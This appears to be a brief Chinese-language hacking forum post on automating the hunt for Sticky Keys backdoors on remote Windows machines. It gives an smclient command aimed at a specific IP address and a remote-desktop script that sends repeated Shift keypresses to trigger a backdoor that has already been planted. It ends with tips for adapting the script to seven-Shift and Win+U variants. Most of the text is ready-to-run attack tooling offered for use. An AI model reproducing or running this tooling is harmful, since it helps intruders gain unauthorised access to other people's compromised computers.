所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受
下载ftp://ftp.microsoft.com/ResKit/win2000/roboclient.zip

smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d

shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}

有些SHIFT后门被改成了按7次SHIFT，或者是WIN+U后门，改改shift_backdoor.txt把功能加进去即可